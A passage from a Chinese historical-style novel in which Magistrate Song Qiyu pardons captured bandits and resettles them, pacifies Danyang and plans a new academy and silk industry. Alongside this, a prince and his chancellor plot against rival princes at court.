外面的混乱引起了屋内匪寇的注意,他们小声嘀咕了几句,随即决定突围。一个贼人猛然拉开房门,另一个小贼奋力往外扔出了一只板凳,接着,五个土匪鱼贯冲出。其中,那贼头挺着大刀直奔孟庆彬砍去。说时迟那时快,眼看刀头就要剁到孟庆彬身上了。宋启愚顾不得招呼旁人,向后拉了一把孟庆彬,顺势上步,飞起一脚正踢在贼人的手肘处。贼头哎呀一声,退后几步,铁刀也脱了手。说来也巧,那铁刀飞出不远,正剌在小伍子的胳膊上。虽然剌得不深,但鲜血瞬间就染红了小伍子的衣袖。此时,后面的吴襄、曹可用和宋承康等人回过神来,纷纷跳过去与贼人打在一处,仅片刻功夫,便将贼寇全部生擒。 战斗结束后,宋启愚先查看了小伍子和另外两名警巡的伤势,吩咐人给他们敷上药,叮嘱他们好好养伤;又着人看管被拿住的贼寇;再叫孟庆彬准备饭食,招待这些参战警巡。孟家本就开的有饭庄,没过一会儿,便在东边屋里为大伙备下了丰盛的酒席。宋启愚、吴襄和曹可用等人则被孟老太爷请进了正厅置酒款待。待宋启愚坐定,孟庆彬率全家男丁哭拜于地,感谢知州大人的救命之恩。孟老太爷还一再表示愿奉家财资助州内建设。 天过五更,东方渐明,宋启愚起身告辞,准备押着囚犯返回州衙。当八个贼寇被从屋里推出来的时候,申鲤大吃一惊,冲到其中一人面前,抓住他的肩膀叫道:“马光大哥,怎么是你。你,你咋干这个了?”那贼看着申鲤先是一愣,随即喊道:“兄弟,你还活着!咱三户坊全没了,我爹、我娘、全家人都死了。哇……”马光蹲在地上,放声大哭。 第二十回7 融洽地方豪族 申鲤把马光扶到台阶上坐下,又详细询问了他的经历,抹着眼泪来到宋启愚面前,跪下求情说:“宋大人,我求大人放了马光。我跟他是同村好友,又一块打鱼使船。去年发大水时,他是睡在船上才逃得性命。洪水退后,他想回村种地,却被官府逼债,他逃到外乡要饭,几次都差点饿死,实在没有活路了,才跟钟成、张十三等人落了草……”宋启愚听着申鲤的诉说,心情非常复杂。他对申鲤说:“他的命运固然值得同情,但他们持刀抢劫却是事实。我作为襄阳的父母官首先要维护国家法度,然后才能讲人情世故。所以,还是要先把他们带回衙门,再做定夺。”见申鲤仍在不停地给自己磕头,宋启愚一笑说:“申鲤,你应该相信我的为人。这样吧,回州衙后,把他们直接带到二堂来,本官在那里处理此事。”宋启愚又吩咐吴襄说:“给他们酒饭吃。路上不要难为他们。”说完,宋启愚先行离开了孟家老宅。 在回城的路上,宋启愚边思索边对曹可用说:“好兄弟,据我所知,丹阳的盗寇其实都是普通百姓,没有太大的劣迹,属于被逼无奈而反叛。若能招抚,这些人还是大周的好子民。我该如何处置今天抓的这几个人呢?”曹可用嘿嘿笑着说:“我是个粗人,没那么多主意。我相信你准能把这事做圆满了。”宋启愚释然地一笑,在马屁股上加了一鞭说:“那我就,再想想。” 二堂审问的结果出乎所有人的意料,宋启愚既没有判这十几个贼寇有罪,也没有释放他们,而是令余允文和申鲤带着十名警巡于次日将这些人押到贾洲村,让全村百姓接待他们,并看管他们劳动三天。 第二天晌午,贾洲村一片祥和景象,村民们听说宋大人要让他们接待客人,全都准备了家里最好的饭食,早早来到场里等待。当土匪被押到时,场里的气氛一下子凝固了,人们面面相觑,不知如何应对。过了好一会儿,一个四十多岁的妇女怯生生地走出人群,叫到:“小七,小七,是你吗?真的是你吗?我是二姑呀……”那个被叫做小七的贼人先是一怔,然后挣扎着向前跑了几步,边叫着二姑边双膝跪行爬到妇人跟前,与其相视痛哭。紧接着,又有人上前指认自己的亲朋。 余允文拿出一份文书,走到众贼面前,说道:“宋大人吩咐,为尔等松绑。”申鲤和几个警巡听命后,过去给这些人松开了绑绳。申鲤握着马光的手说:“马哥,我早跟你们说过,宋大人是好官,他不会骗你们的。”余允文接着说:“这贾洲村是宋大人专为安置从丹阳逃难至此的百姓所建,大人还给乡亲们分了地,分了粮。宋大人说,你们虽然为盗,但出于无奈,不是十恶不赦的歹徒。宋大人希望你们早日悔悟,回归田园,过正常人的生活。”余允文略一停顿,又说:“故此,宋大人安排你们在这里劳动三天,不许逃跑。三天后,再由乡亲们判定你们的罪责。若你们良心未泯,就应认真反思,感谢宋大人的恩德。”这些贼寇从没见过这么英明讲理的官员,被感动得热泪盈眶。 第二十回8 融洽地方豪族 这时,一个八九岁的小男孩挤到人群前面,仔细看了看这些贼,兴奋地对后面喊道:“娘,是表叔。是十三叔呀!”一个妇人钻出人群,扯上孩子,来到众贼面前。孩子跟妇人几乎同时叫道:“十三叔。”被唤做十三叔的贼人打了个冷颤,抬头一看,哭喊道:“大嫂。我的大侄儿!让我们好找呀!”他过来抱着那小孩看了又看,说道:“你爹日夜都在想你哭你呀!没想到,你们还活着。”他又趴下给嫂子施礼说:“嫂子,张十三给嫂子道喜,钟大哥现在谷城,你们一家很快就能团聚了……” 三天的盘桓转瞬即过。说来也怪,这十几个去除了枷锁又无人看管的囚徒不但没有想着逃跑,还每日拼了命地帮着村民干活,甚至他们的嘴角上始终都挂着满足的微笑。 到了第三天下午,宋启愚命申鲤和十名警巡先给贾洲村送去了两大车鲜肉美酒。而后,他带着吴襄、曹可用还有城防军司马寇喜峰、兵司掌事顾新恩等人也来到村中。贾洲村的众多百姓包括张十三、马光、杜应等人远远地出村前来迎接。张十三见了宋启愚,跪在地上先磕了几个响头,又自扇耳光说:“宋大人对我丹阳父老恩比天高,对本地的老百姓更是爱护。我们这帮混蛋,竟然跑到襄阳对恩人下手,我们真是坏了良心,猪狗不如。”马光等人也痛哭流涕,跪地请罪。宋启愚让人把他们扶起来,对村民们说:“本官听说张十三他们很勤快,帮着大伙干了不少活。潘七会打家具,项明是种庄稼的好手,马光、杜应等人还帮大家建房子,看来乡亲之间确实亲近啊。”宋启愚又转头问道:“张十三,你是想过这种平安日子,还是想继续打家劫舍呢?”张十三又一次跪倒说:“能有宋大人这样的父母官,能过上这样安生的日子,谁还愿意当土匪?我请求大人重重地治罪,十三绝没有怨言。”宋启愚又问其他人:“马光,杜应,你们今后想怎么办?”马光等人也表示想当农民,不愿做强盗。宋启愚又问村民们:“乡亲们,张十三他们愿意改过,想回归田舍,你们有无异议?”众村民本就对太守感激之至,又想拉这些失足的同乡一把,当然表示没有意见。宋启愚高兴地说:“那好。本官今天就赦免了你们。你们如果愿意,可留在本村,成为襄阳的百姓。想回丹阳务农的,我也发给文书,放你们回去。只是有一点,以后切莫再反。如若再有作奸犯科的事,下次,本官绝不容饶。”张十三这些人激动地涕泪横流,几乎失语,只能不停地磕头,表示对宋大人的感谢。宋启愚上前拉起张十三,对大伙说:“今天,为了庆贺咱贾洲村来了亲人,本官做东就在场里起火炖肉,咱们大伙美美地过上一个团圆节。”村民们一阵欢呼,簇拥着宋启愚一行向村内走去。 两天后,张十三和马光等人在亲属和申鲤的陪同下再次来到州衙。他们诚恳地请求宋启愚能跟他们一起前往谷城县招抚钟成,解救生活在水深火热中的乡亲们。由于宋启愚也早有平定汉江贼寇的打算,所以,他慨然应允。 贾洲村的百姓自去年流落襄阳以来,几乎没人回过家乡。这次听说知州大人要往丹阳招抚乡民,几乎人人都想跟着前去。由于人数太多,不能全带,宋启愚就命余允文等人对村民进行了筛选,挑出几十个身体强健且能经得起舟车劳顿的人,又对那些无法回乡的人一一做了登记。让被挑上的人代为寻找亲人。为了安全起见,曹可用要求寇喜峰派出二百城防军保护知州大人。吴襄又从警巡队精挑细选了一百五十人,由自己亲自带领,跟随着宋启愚前往谷城。宋启愚则命万刚暂时署理州内事务,并要求他提前做好来襄人员的安置工作。 五月末,宋启愚准备完毕。他带着几十名百姓和三百余官兵分乘十几条快船,在张十三等人的引领下,离开码头,浩浩荡荡地向西开进。 身穿官服的宋启愚站在船头,他望着渐渐远去的白铜堤,以及被大堤掩映的襄阳城楼,回想着自己主政以来的种种过往,他的表情越来越刚毅,他的眼神越来越明亮,他下定了决心,他要为这片热土,为这片热土上的人民奉献自己的一生。 第二十一回1 襄阳学派的兴起 在短短几天里,宋启愚率军解救了绳鑫,收服了钟成,基本平定了丹阳东部地区。其后,钟成又派人劝降了丹江口的一部分土匪。贼人头领甘老大见队伍离散,官军势大,被迫躲进了武当山一带。至此,整个丹阳的匪患仅剩下白铭肇正在围剿的杨安部。 宋启愚一面向朝廷飞马报捷,一面向白铭肇和荆襄巡抚范豫能等上官通报本次剿抚的情况。然后,宋启愚命令城防军和投诚过来的钟成所部先行撤回襄阳,而他自己则带着百十名警巡护着回乡的百姓,和绳鑫一起进入了一片废墟的丹阳城。在城区,宋启愚看到了相当悲惨的景象——大白天,道路上人烟稀少且满脸惊惧,零落的房屋柴门紧闭且十室九空,城墙外面就有大片的坟冢,略微偏僻一些的地方,竟有野狗肆意啃咬着死人的尸骨。跟着宋启愚的百姓哀声大恸。他们已无处再找寻自己的亲人。宋启愚先命警巡们捡拾人骨,重新埋葬;又让吴襄拿出一部分口粮分给周围的百姓;他还亲自动手清理了城内的两口水井。 几天后,宋启愚觉得匪患已除,随准备返回襄阳。绳鑫领着几十个官员和士兵到丹阳码头给宋启愚送行。临别之时,绳鑫说:“朝廷要是多几个大人这样的能臣干吏,何愁天下不太平。似白铭肇、林九都之流明里招抚,暗里屠杀,为了自己的名位,不顾老百姓死活,怎能叫地方长治久安呢!”宋启愚叹了口气说:“上官的权力不受制约,下民的利益没有保障,江水浮萍,随波逐流,此乃天下的悲哀。你我身处这旋涡当中,一时也难以抗风拒浪,只能遵照良心,保境安民,尽量澄清这个世道吧!”绳鑫又说:“据报,那白铭肇已将杨安逼进了秦岭,还声称斩杀贼寇近万人。可是,我知道,真正的土匪连十分之一都没有,他们就是杀良冒功。前些时,我将他们所为写信告诉了家师。家师也很气愤,但碍于白铭肇官位已高,他老人家只是写信进行了劝诫。哎!我这心里的愤恨着实无法排遣啊!”宋启愚拍了拍绳鑫的肩膀,说:“绳兄跟白铭肇、林九都本是同门。你遇到委屈或不解还能向圣人倾诉,而小弟则没有这等幸运。跟小弟比,绳兄该欣慰才是。”绳鑫苦笑着摇摇头说:“家师这些年也消沉了许多,有时甚至有些古怪。以这次的事情为例,我那师弟唐明渊坚决主张将白铭肇、林九都逐出师门,可没想到,最后被赶出兴洛学斋的却是他自己。”这句看似不经意的话在宋启愚听来却如炸雷一般响亮。他抓住绳鑫的胳膊,急迫地问道:“你说唐明渊被逐出师门了?就是我们上次在程先生那里见到的少年吗?”绳鑫一脸无耐地说:“是啊,就是他。不过这孩子也是倔强,略微服个软,给老师认个错,哪至于到这个地步。”宋启愚追问道:“那唐明渊现在何处?还在洛阳吗?”绳鑫脱口说:“应该在吧,这就是两个月前的事情。”随即,绳鑫自释地一笑说:“扯远了。今天是给宣道大人送行的,怎么说到唐明渊身上去了。宣道老弟此次凯旋功在社稷,朝廷嘉赏为期不远。以老弟的人品才干,将来定能出将入相,封疆一方,望老弟保持本心,为圣上和朝廷多做些有益的事情。”宋启愚笑笑说:“绳兄过誉了。此次招抚,绳大人功不可没。我也向朝廷做了保举。且绳兄宅心仁厚,又有担当,前途亦会一片光明。今后你我都应戒骄戒躁,为各自辖区的人民尽心尽力。”宋启愚郑重地拱手一揖说:“天色不早,绳兄保重。宋某告辞了。”绳鑫也一躬到地说:“与大人相处的这十几天,绳某如沐春风,心情愉快。今日一别,不知何时才能再与宣道老弟盘桓。好在洛阳与襄阳并不十分遥远,将来自有见面之时。好,宣道老弟请登船。愚兄祝你们一路顺风。”宋启愚在绳鑫等人的挥别中,登舟离岸,率领着船队驶出码头,向着襄阳的方向开去。 第二十一回2 襄阳学派的兴起 回到襄阳当天,宋启愚就迫不及待地找来余允文,要他带着自己的亲笔信出发去洛阳,邀请少年唐明渊来襄阳求学。 六月三十日,同泰帝升殿朝会。他意气风发地说:“列位爱卿,今天我朝有两大喜事,一是成王凯旋,明日还京;二是丹阳剿贼,大获全胜。这头一件,成王驱逐外侮,大破柔然,为我大周开疆拓土,扬我皇威于域外。成王在行军总管周亮等人的辅佐下,不但调度有方,指挥得当,还善用奇谋,派出武州参将马健东率两千健儿直出张北,从背后袭扰柔然,斩杀敌军万人。成王及将士们劳师远征,功勋卓着。故而,明日,朕将亲自出宣德门,在御道上迎接奏凯之师。而诸位皇子和列位爱卿则在豫王的率领下列队在安远门外,迎候大军回京。”宣德殿内的人们齐刷刷地跪倒,高呼:“臣等遵旨。皇上神威,远播塞外,大周盛世,万国向往。”同泰帝示意臣僚们起身,又接着说:“参加此次北征的将士,作战勇敢,不畏强敌,应在加封之后,再做赏赐。朕特赏成王银两万两;枢密副使周亮银一万两;幽州节度使张洪涛银八千两;武州镇守副使马健东银五千两;其余有功将士则按功劳大小尽皆恩赏。对在战争中战死和受伤的人员,着枢密院和兵部优加抚恤。”枢密使刘睿和兵部尚书王浩出班跪倒,高喊道:“圣上英明,臣遵旨。”同泰帝顿了顿,又说:“河南巡抚白铭肇遇事果决,在征讨丹阳贼寇的过程中,能恩威并施,及时平乱,应与奖赏,着晋升白铭肇为正二品官阶。原洛阳同知绳鑫招抚贼寇有功,升任正五品汝阳知州。原渑池知县林九都以雷霆手段,镇压不愿归附的叛贼,才堪大用,可升任正六品中牟知县。”同泰帝略一沉吟,又说:“另外,荆襄巡抚范豫能上奏说,他派出干吏招安了汉江流域的贼寇近万人,虽然含些水分,但仍不失为利国之举,可降旨褒扬,并赏银五千。襄阳知州宋启愚抚贼有功,特赐从四品职衔,仍留原任,以资嘉奖。”以王克明为首的官员们又一次跪倒,口称“皇上圣明”。 退朝后,宰相王克明以商讨迎接成王礼仪为名前往了豫王府。石均笑呵呵地出二道门迎接,并热情地把王克明让进了正厅。待寒暄落座,献茶完毕,石均屏退了所有从人,并告诉他们在堂外三十步警戒,没有他的召唤任何人不许入内。等亲信都出去后,石均整了整衣冠,来到王克明面前,深施一躬说:“王相此来必有赐教。小王愿听其详。”王克明赶紧起身答礼说:“王爷睿智,为臣岂敢赐教,只是替王爷用用心罢了。”石均抓住王克明的手,说道:“对王相数年来的相助之恩,本王内心感激之至。有什么话,王相不必隐晦,尽管直言。” 第二十一回3 襄阳学派的兴起 王克明认真地说:“为臣知道王爷今日心情不悦,特来给王爷宽宽心。成王殿下刚刚大胜凯旋,圣意正隆,殿下对成王应格外恭敬才是。”石均让王克明坐在上首,自己坐下首,皱着眉说:“本来我的名分在众王之上,又是皇长子,还做过监国。现在不但齐王跟我争,这个成王也搅了进来,明日还让我去迎候他,真是咽不下这口气。”王克明笑笑说:“殿下此言差矣。殿下明日迎候的是凯旋之师,而非成王一人。如今陛下春秋鼎盛,身体康健。殿下不能过早地暴露内心的想法,更不能引起陛下猜忌,而应沉下心思,韬光养晦,用心做事,广置党羽,待时机成熟,自然水到渠成。”豫王石均略一沉思,点点头说:“王相所言有理,本王认真照做便是。只是,成王上升的速度太快,咱们也得想个办法压压他的锐气才行。”王克明又笑了笑说:“王爷能听善言,必成大事,臣心甚慰。据我所知,那成王此次几乎没有跟柔然接战。他在进军檀州时还干出了纵兵抢掠的勾当,而在班师的过程中他也对所过州县盘剥甚重,似这等乖戾少年,哪有仁君的样子。只要我们查出实证,在皇上对他圣意转淡之时奏他一本,还愁扳不倒他吗?”石均兴奋地说:“王相果然是老成谋国之臣。那咱们就快些派人,去查他个清楚。”王克明摆摆手说:“殿下莫急。我们可以先让成王跟齐王斗一斗,待他们两败俱伤,我们再出手。而且,扳倒成王也不需要我们直接出面。殿下们的师傅关老夫子哪里容得下这些脏事儿,把消息透给他不就可以了吗!”石均抚掌大笑说:“高明,高明!小王能得到王相辅佐,真是三生有幸。王相对本王一片赤诚,我石均再次拜谢王相。”说着,石均竟跪倒在地,准备磕头。王克明吓得赶紧起身,伸双手搀扶说:“王爷快请起,使不得,使不得!王爷对微臣礼敬有加,微臣十分感动。王爷放心,微臣愿为王爷鞠躬尽瘁,死而后已。”待豫王起身,王克明又说:“明日郊迎,若王爷实在气不过,那咱们就在大道正中铺上只有皇上才能踩的红毯。等这事儿过去,我们再寻机参他一个不尊礼法,僭越皇权。”石均的眼角现出了笑纹。他说:“好,咱们就这么办!”王克明又一思索,说道:“殿下也不用光想着打压别人,关键是还要积累更大的功勋和德望。”石均贴近了问道:“求王相指点。”王克明捻着短须说:“按照朝廷惯例,每年对官员进行一次考评,而每三年进行一次大考。今年正是大考之年,而殿下又管着吏部,办好这件差事不但能博得圣上的恩宠,而且对社稷有功,也能体现殿下的能力。请殿下深思。”石均又一拱手说:“小王明白了,我这就着人开始筹备此事……” 第二十一回4 襄阳学派的兴起 在皇朝的三位王爷忙着勾心斗角时,千里之外的襄阳,宋启愚正在筹划着建设学堂。他没有采纳学政梁学古的意见——扩建州学。而是在南门外,接近仲宣楼的位置选了一处空地,着手建造全新的“魁星三学”。 这天一早,宋启愚将礼司掌事丁标和水司掌事赵随心叫到二堂,给他们分派任务。宋启愚拿出一份图纸铺在桌子上,说道:“你们来看,这是我请邝玄先生绘制的‘魁星三学’样图。所谓‘三学’就是‘儒学、武学和实用学’。我要建一所全新的学堂,不但建筑新,而且理念新。”他看了看赵随心说:“赵掌事,今年雨水小,大堤的维护比较简单,你可以抽出充足的人手建造学堂。”宋启愚用手指着图纸说:“你看,整座学堂分成三个院落,中间以假山、水塘、矮墙或花木相隔。建筑材料不必贵重,只要结实耐用即可。房舍亭阁的尺寸图上都已标示清楚,若还有疑问,可派人去请教邝先生。当然,在建筑方面你比我在行,有什么好的建议和想法可以随时向我提出。在建造的过程中,有任何困难也可以直接来找我。”赵随心拱手说:“下官明白。请问大人可有工期要求?”宋启愚答道:“‘三学’占地七十亩,大小建筑四十几间,能容纳师生二百余人,好在除去六间课堂和供奉孔圣的先师殿外,其余房舍都不算高大,建造的难度应该有限。你看年底之前能否完工呢?”赵随心爽快地答应道:“这比造石堤容易得多,我一定保时保质建好‘魁星三学’。大人尽管放心就是了。”宋启愚又转向丁标说:“丁掌事,跟建造学堂比起来,你的任务似乎更重。首先,需要你为学堂延请几位儒学大家做教习。你先拟个名单来,咱们议定后再重金相聘。”丁标拱手说:“下官遵命,我这就开始物色人选。”宋启愚又从桌上拿起一份文扎说:“新建的‘三学’不光要培养读书人,还要培养懂军事的人才和能做工的匠人。为此,我拟了个课程纲要,武学主要开设功夫、骑射和兵法课;实用学先开设绘图、记账和木工制作课,以后根据需要再慢慢增添课程。这些课程需要的教习我和邝先生已经在寻找了。现在需要丁掌事和礼司的人好好研究一下这个纲要,尽量多找些相关的书籍。”丁标接过文扎说:“好,下官马上去办理。”宋启愚又说:“还有就是‘三学’的招生。我们不能光招富家学子,也要栽培寒门子弟。具体的章程和‘三学’的校规,容我斟酌后再找你们商议。”赵、丁二人各回答了个“谨遵堂谕”,便拿着图样和文书退出了二堂。 这时,曹可用乐呵呵地进来,说:“承宇还真是个练武的材料,早上打拳有模有样的,箭射的也准,我看再过个两三年,我就教不了喽!双桂也可以,就是天乐差点,双兰吗,女孩子家能防身就行,不讲究那么多。” 第二十一回5 襄阳学派的兴起 宋启愚让曹可用坐下,把自己的茶碗端给他。曹可用也不客气,一饮而尽,抹了抹嘴说:“孩子们吃罢了饭跟着赵先生念书去了。也不知道余夫子啥时候回来。孩子们跟着他我还放心。这个赵先生酸得很,真是受不了。”宋启愚笑着说:“赵显先生是有些清高,不过人品学问还是好的。余先生吗,昨天来信说已经说动了唐明渊,估计再过段时间就能动身了。不过,你,啥时候变得这么稀罕余先生啦?”曹可用摸摸满脸的络腮胡子,得意地说:“你不知道吧。我跟余夫子现在关系可好咧。先前在东京,再造经常从翰林院拿些书回来,有时还让我读。我哪看得进去。还是余夫子有办法。这一年多,他特意把一些有趣的书,翻译成白话讲给我听。我原先就认识字,又听了十几本书,现在偶尔也自己看,我也算半个读书人咧!”宋启愚嘿嘿笑着问:“那你说说都学了些什么书哇?”曹可用想了想说:“嗯……余夫子主要给我讲古代故事。他说那些说书的大部分讲的都不对,让我多看看真正的历史。我学了象什么《围魏救赵》哇、《安史之乱》哇、《石崇比富》呀,还有什么《封狼居胥》呀、《退避三舍》呀,反正不少呢!”宋启愚赞赏地点点头说:“看来,余先生的学问确实比我广博,跟这样的人在一起,真能涨知识。”宋启愚原地踱了两步,又说:“你刚才讲‘再造经常从翰林院拿书’倒提醒我了。在建的‘三学’正需要适合的教材,我得给再造写封信,让他在京城多为我们寻找一些相关的书籍。”曹可用站起身说:“那,你先忙正事吧。我得叫上我那口子去看看弟妹和我那没出世的娃娃。有七个多月了吧,我还得给孩子准备一份见面礼咧!”宋启愚回到书案前,笑着说:“那你还真是得备份大礼。昨晚我和二夫人商量好了,让这个孩子拜你为义父,你可不要嫌弃呀!”曹可用听后,兴奋地转身说:“宣道,你可当真?还是你知道我呀!啥也不说了,走了……”曹可用出得门去,眼中满含热泪。 宋启愚在房中给童道生写了信,让人发出后,又处理了几件公文,便信步出了二堂,穿过仪门,来到大门内的户司。正在房里核对文书的孙喜敬和几名官吏见知州大人进来,赶忙起身,准备见礼。宋启愚制止说:“不必多礼,该干啥干啥。孙掌事,把今年植桑养蚕的账册拿给我看。”孙喜敬答应一声,从架子上抱起一摞账本,放在桌子上汇报道:“宋大人请看,这是我州十四个乡镇六十八个村庄报上来的账目,不包括樊城、宜城和南漳三县,共植桑八千三百二十亩,参与养蚕的农户有六千五百八十四家。”宋启愚坐在桌旁,拿起一本账册翻看了一会儿,喃喃地说:“今年是植桑养蚕的头一年,产出量似乎少了些,不过比我预想的要好。告诉乡亲们,不要着急,赚大钱的机会在后面。你跟王书办差事办的不错,本官今日就对你们发文褒扬。”孙喜敬和王书办赶忙跪倒,感谢知州大人栽培。 第二十一回6 襄阳学派的兴起 宋启愚叫他们起来,又翻看了一会儿账册,说道:“从春秋时期开始,咱们襄阳就是丝绸的主要产地,直到二百多年前才被苏杭超越。如今,苏州一带已是‘人家勤织作,机杼彻晨昏’,而我们这里的丝织业却衰落了许多。我们有责任重振本地的丝绸产业,让老百姓过上富足的生活。为此……”宋启愚指着跟前的书办说:“王和通,你是主抓植桑养蚕的书办,我想让你和曹可用到苏州、杭州去一趟,向当地的桑农和织造作坊讨教些工艺知识,顺便也跟那边的绸缎商人拉拉关系,帮乡亲们卖些丝绸。在做生意方面,曹可用是个熟手,遇到问题,你们可以商量着办。另外,你们还可以高薪聘请几个那边的工匠到襄阳来,帮我们完善一下丝织产业。不知你愿不愿意去?”王和通二次跪倒说:“宋大人吩咐,下官自当遵从。”宋启愚让他起来,笑着说:“你先跟曹可用碰碰头,寻思一下要考察的项目,写个纲要上来,待我看过之后,这两天再找你们详细谈。你们五天后出发,中间的几天,你放假休息,好好陪陪家人……”布置完工作,宋启愚起身离开了户司。 来到州衙大门外,宋启愚飞身上马,对旁边的宋承康吩咐道:“去警巡大队。今天,轮到我给巡长们讲战术纪律课了。”宋承康一边打马追赶一边说:“他们指定挤了满满一屋子,眼巴巴盼着大人去呢……” 到了警巡队驻地,宋承康先过去喊道:“打开鹿砦,宋大人到。”可是门口值岗的两名警巡却面面相觑,没有马上行动。一名巡长从岗哨里匆匆跑出,仔细看了看来人,才命令警巡搬开障碍物。这名巡长来到宋启愚马前,打千施礼说:“警巡毛小拜见宋大人。营区之内禁止骑乘,请大人下马,步行进入警营。”宋承康有些生气地指着巡长说:“你小子敢这么跟宋大人说话。刚才没快点给大人开门也就算了,现在还敢叫大人下马,你想干什么?”那巡长一抱拳说:“宋大人息怒。半个月前您给我们讲授了《细柳军营》的故事。毛小深受启发,便向吴大人建议增加了门岗规则,今天是规则正式执行的第三天。请您按照规矩入内。您的马,我会妥为照管。”宋启愚非常满意地点点头,甩镫下了坐骑,笑着对那巡长说:“毛小,我的战马交给你了。”毛小接过马缰,对一名警巡命令道:“快去通报,宋大人到。”那警巡飞奔着报信去了。 不大的功夫,吴襄带着几名警巡跑步迎了出来。吴襄呵呵笑着抱拳说:“宣道莫怪,这《警巡条例》刚刚修改,想先试用一段,再向你报告,没想到,今天……”宋启愚打断了他的话,说:“条例改得好,执行的更好!是毛小向你建议的吗?”吴襄向营内让着宋启愚,回答道:“是啊。这小子上次听了你的课,就把汉朝的周亚夫当作榜样,还专门给我写了个条例细则。我觉得不错,就想着在营里先试试。”宋启愚边走边问:“这个毛小认识字?他是哪里人?”吴襄说:“这孩子是新野人,他的命很苦呀。早年间,他父亲给朝廷押运货物,结果船翻了,被治罪,家也给抄了。他爹死的时候,这个毛小才九岁。他和他娘在新野没法生活,就到襄阳来投奔一个表舅。靠着他母亲给人缝补衣物,勉强糊口。这孩子原先念过三年私塾,可以说过目不忘,字写得也不错。他十岁到米行当学徒,可是,过了没两年,那家米行破了产。毛小又到鱼行去做帮工。后来,他还替人记过账,摆过代写书信的摊子,还到州学里替人抄书,赚些银子。两年前,他母亲因劳累过度,也撒手西去了。一些不法之徒想拉他去做偷鸡摸狗的事,都被他严词拒绝。为了躲开那些人的纠缠,他竟跑到云居寺出家。大和尚觉得他可怜,又看他年轻,就没有给他剃度,而是管他吃住。去年,州里修石堤,他当了民夫,干活踏实,不惜力气。后来,咱们招警巡,他也报了名。我当时问他为什么要当警巡。他说为了能吃口饱饭,再有就是能堂堂正正地做人,不干违法的事情。这大半年里,毛小做事有板有眼,很对我的心思。我就提他做了巡长。”宋启愚仔细地听完,说道:“这样的后生咱得好好培养。你们……”恰在此时,申鲤跑过来打了个千说:“恭迎宋大人。我警巡队共有巡长九十二人,除十一人值班巡逻外,其他人员俱在厅内等候大人训诫。”宋启愚抬眼一看,原来自己已经走到了正厅的大门前。 第二十一回7 襄阳学派的兴起 宋启愚走进大厅,众巡长打千施礼,高喊给宋大人请安。宋启愚还了一揖,请众人起身,让他们坐在小马扎上。宋启愚拿过花名册开始点名:“丁宁。”“有。”一个小伙子起身答道。“王闯。”“有。”又一个巡长站起来应答……点完了名,宋启愚向前走了一步,朗声说道:“各位兄弟,报名的时候,吴大队长问你们为什么要当警巡,当时,很多人回答为了减轻家里的负担。不用低头,这是实话,没什么可丢人的。你们当中的绝大多数出身贫苦,衣食困难,但你们不欺负人,不算计人,不自暴自弃,不为虎作伥,你们愿意为乡亲们做些事情,愿意凭自己的本事挣口干净饭吃,这说明你们天性纯良,是可以培养的热血男儿。”宋启愚顿了顿,接着说:“但是,要自己挣饭吃就得有本事,这本事从哪儿来,就得认真学习。那么,当警巡需要什么本领呢?简单地说,就有五条。一是锻炼体力,学习格斗,这也是吴大队长训练你们的主要内容。二是改变观念,要为百姓出力。你们是保境安民的警巡,不是吃拿卡要的土匪,谁若不是这样想的,谁就不配穿这身警巡的衣服。三是要培养自己的观察力,能发现周围的异样。在这一点上,申鲤和小伍子上次做得就很好,他俩还为此受了奖,很令人羡慕啊。四是要强调纪律性,讲规矩,听命令。这也是今天我要给你们讲的主要内容。第五吗,就是要善于动脑筋,想问题,做改进。在这里我要褒扬巡长毛小。他从《细柳军营》的故事里得到启发,完善了咱们的《警巡条例》,使警营秩序更加有序。这样的责任心和理解力值得我们每一个人敬佩。为此,我决定三日后召开隆重的警巡大会,确定《警巡条例》,另外,奖赏毛小纹银二十两,颁发五彩缎带一条,以资鼓励。”坐在下面的巡长们,因被关心而感动,因被理解而释然,因被表扬而激动,因被鼓励而兴奋,他们热切地望着太守,都希望得到太守的赏识。 宋启愚走到警巡中间,继续讲道:“说起立规矩,我先给你们讲个《孙武练兵》的故事。话说春秋时期,吴王阖闾即位后,想有一番作为。恰在此时,大兵法家孙武前来投奔。吴王不知道孙武的兵法是否能实战,就对孙武说:‘你能不能用兵法小规模地演练一下,让我见识见识?’孙武说可以。吴王又问:‘先生打算用什么人去演练?’孙武说:‘什么人都行。不管高低贵贱,是男是女。’吴王想给孙武出个难题,便下令将宫中的一百八十名美女召集到了练兵场。你们说,孙武能管得住这些女兵吗?”下面的警巡们窃窃私语,纷纷说不好管。宋启愚接着说道:“孙武把这些宫女分成两队,指定吴王宠爱的两位美人做队长,同时指派自己的副手负责执法。然后,孙武站在指挥台上,认真宣讲操练要领。讲完之后,他问道:‘你们都听明白了吗?’宫女们说:‘明白了。’孙武开始击鼓发令。然而尽管孙武三令五申,那些宫女们不但不听号令,反而觉得好玩,捧腹大笑。孙武便要按军法斩了两个队长。吴王见孙武要杀掉自己的爱妾,马上派人制止。可孙武毫不留情地说:‘将在军中,君命有所不受。’就这样,孙武杀掉了两个队长,又任命两队的排头当队长,继续练兵。当孙武再次发令时,众宫女前后左右,进退回旋,全都合乎规矩,阵形十分齐整。你们说这是为什么呢?”警巡们又是一阵议论。有人说“她们怕再被杀了。”有人说“还是孙武有办法。”最后,申鲤站起来说:“规矩合理了,执法严格了,命令就能被执行。《警巡条例》就是咱们这些人的规矩,咱们都得遵守。”宋启愚示意他坐下,又说道:“当年,周亚夫的军队之所以战力强悍,就缘于严明的军纪。士兵们并不认识汉文帝,若放他进军营,倘是敌人假扮的,那后果不堪设想。正是这个周亚夫,后来仅仅用了一个多月的时间就平定了‘七国之乱’,保证了国家的稳定,这才有后来的‘文景之治’呀……”伴随着宋启愚生动形象的讲授,很多警巡听入了神。他们在脑海中规划着自己美丽的人生。他们在心底里憧憬着国家灿烂的明天。 第二十二回1 十王出京 